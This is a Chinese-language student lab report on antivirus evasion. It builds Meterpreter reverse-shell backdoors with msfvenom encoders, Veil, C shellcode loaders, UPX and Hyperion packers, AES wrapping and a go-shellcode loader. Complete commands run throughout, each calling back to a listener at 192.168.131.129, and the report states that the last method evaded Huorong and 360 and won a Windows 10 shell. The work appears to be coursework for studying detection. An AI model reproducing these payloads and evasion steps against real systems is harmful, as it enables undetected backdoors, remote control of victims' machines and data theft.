预备工作
veil 安装
我怕麻烦,直接在 docker
上跑了
docker pull mattiasohlsson/veil
docker run -it -v /tmp/veil-output:/var/lib/veil/output:Z mattiasohlsson/veil
火绒安装
-
版本:5.0.41.6
-
病毒库 4.2 日更新
实验内容
1-1、正确使用msf编码器
先看看参数有哪些
Options:
-p, --payload <payload> Payload to use. Specify a '-' or stdin to use custom payloads # 指定特定的 Payload,如果被设置为 - ,那么从标准输入流中读取
--payload-options List the payload's standard options # 列出指定 Payload 的标准可选配置项
-l, --list [type] List a module type. Options are: payloads, encoders, nops, all # 列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, all
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload # 指定 nop 在 payload 中的数量(译者注:类似堆喷射中通过 nop 滑动到 payload)
-f, --format <format> Output format (use --help-formats for a list) # 指定 Payload 的输出格式
--help-formats List available formats # 列出所有可用的输出格式
-e, --encoder <encoder> The encoder to use # 指定使用的 Encoder
-a, --arch <arch> The architecture to use # 指定目标系统架构
--platform <platform> The platform of the payload # 指定目标系统平台
--help-platforms List available platforms # 列出可用的平台
-s, --space <length> The maximum size of the resulting payload # 设置未经编码的 Payload 的最大长度
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value) # 编码后的 Payload 的最大长度
-b, --bad-chars <list> The list of characters to avoid example: 'x00xff' # 设置需要在 Payload 中避免出现的字符
-i, --iterations <count> The number of times to encode the payload # 设置 Payload 的编码次数
-c, --add-code <path> Specify an additional win32 shellcode file to include # 指定包含一个额外的win32 shellcode文件
-x, --template <path> Specify a custom executable file to use as a template # 指定一个特定的可执行文件作为模板
-k, --keep Preserve the template behavior and inject the payload as a new thread # 保护模板程序的功能,注入的payload作为一个新的进程运行
-o, --out <path> Save the payload # 保存 Payload 到文件
-v, --var-name <name> Specify a custom variable name to use for certain output formats # 指定一个变量名
--smallest Generate the smallest possible payload # 尽可能生成最短的 Payload
-h, --help Show this message # 帮助
输入 msfvenom -l encoders
查看编码器有哪些
选择 x86/shikata_ga_nai
,使用命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.131.129 LPORT=9999 -f exe > 5210_backdoor.exe
去virustotal
检测一下,效果很不理想
上述规则编码10次。使用命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.131.129 LPORT=9999 -f exe -i 10 -b 'x00' > 5210_backdoor.exe
然而效果更差了
结论
如果想要使用msfvenom免杀,就要使用原生的编码模板
1-2、msfvenom生成如jar之类的其他文件
(1) 生成 jar 文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.131.129 LPORT=9999 x> 175210_backdoor.jar
(2) 生成 php 文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.131.129 LPORT=9999 x> 5210_backdoor.php
看起来还不错,但移到宿主机的时候,火绒直接报毒了
1-3、使用 Veil
使用如下命令进入veil
(详见预备工作)
docker run -it -v /tmp/veil-output:/var/lib/veil/output:Z mattiasohlsson/veil
输入 use evasion
命令进入 veil-evasion
,list payload
查看有哪些payload
使用 go
语言生成 payload( 注意我将 docker 中 veil 的输出路径映射到宿主机的 /tmp/veil-output )
use 16
set LHOST = 192.168.131.129
set LPORT = 5211
generate
VT查杀率46/70,火绒也直接查杀了。Veil 的效果并不好,而且我看它三年没更新库了……
1-4 使用 C + shellcode 编程
(1) Linux平台交叉编译Windows应用
生成 shellcode
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' lhost=192.168.131.129 lport=9999 -f c -o shell.c
函数指针执行法
#include <stdio.h>
#include <stdlib.h>
unsigned char buf[] =
...
int main(){
int (*func)() = (int(*)())buf;
func();
}
编译
i686-w64-mingw32-g++ shell.c -o mt.exe
毫无悬念地被火绒查杀了
(2) VisualStudio编译Windows应用
在 visual studio 2019
中新建项目,cpp 文件内容如下
#include <windows.h>
#include <winbase.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
const char met[] =
....
int main()
{
DWORD old = 0;
BOOL ret = VirtualProtect((LPVOID)met, strlen(met), PAGE_EXECUTE_READWRITE, &old);
INT32 * addr;
addr =(INT32*) &met;
__asm;
{
call addr;
}
return 0;
}
刚运行就被火绒查杀了
我看到一篇3月10号的文章,说利用 强制类型转换 可以实现免杀,试了试,代码如下
想法很巧妙,但运行一会就被火绒查杀了……
1-5 加壳工具
- 从技术上分壳分为:
-
压缩壳
减少应用体积,如ASPack,UPX
-
加密壳
版权保护,反跟踪。如ASProtect,Armadillo
-
虚拟机
通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida
-
(1) 压缩壳UPX
给上面的 mt.exe 加个壳
upx mt.exe -o mt.upxed.exe
一点用都没有
(2) 加密壳Hyperion
使用以下指令
sudo wine /usr/share/windows-resources/hyperion/hyperion.exe -v mt.exe mt.hypered.exe
没用的,被火绒查杀
1-6 使用其他课堂未介绍方法
(1) XOR/AES 编码 c# + shellcode(失败)
- 下载工具https://github.com/Arno0x/ShellcodeWrapper,安装见README文档
- 生成 raw 格式的shellcode
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b 'x00' lhost=192.168.131.129 lport=999 -f raw > shellcode.raw
- AES 加密处理
./shellcode_encoder.py -cpp -cs -py ~/shellcode.raw bjdzmt1752 aes
-
visual studio 2019 编译运行
结果被火绒秒杀
2-1 通过组合应用各种技术实现恶意代码免杀
使用 go-shellcode
加载器(成功!火绒,360未能检测)
-
下载后,进入
go-shellcodecmdsc
目录,执行go build
,生成sc.exe
-
然后用
msfvenom
生成hex
格式的shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp -f hex -o shell.hex LHOST=192.168.131.129 LPORT=9999
-
使用sc加载器进行加载
sc 'your shellcode'
如图
-
成功与火绒共存
2-2 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
-
杀软版本:火绒 5.0.41.6,病毒库 4.3 日更新
-
使用 2-1 中的方法
-
msf 成功获得 windows 10 shell
实验总结
基础问题回答
(1) 杀软是如何检测出恶意代码的?
- 基于特征码的检测
- 启发式恶意软件检测
- 基于行为的恶意软件检测
(2) 免杀是做什么?
- 免杀就是让安插的后门不被AV软件发现
(3) 免杀的基本方法有哪些?
-
改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 如果你手里只有EXE
-
改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
实验总结和体会
-
病毒库更新的太快了,3月7日还可以用的方法现在已经不能用了
-
做免杀不能想当然,并不是方法叠加的越多越好
开启杀软能绝对防止电脑中恶意代码吗?
不能,这次实验已经证明。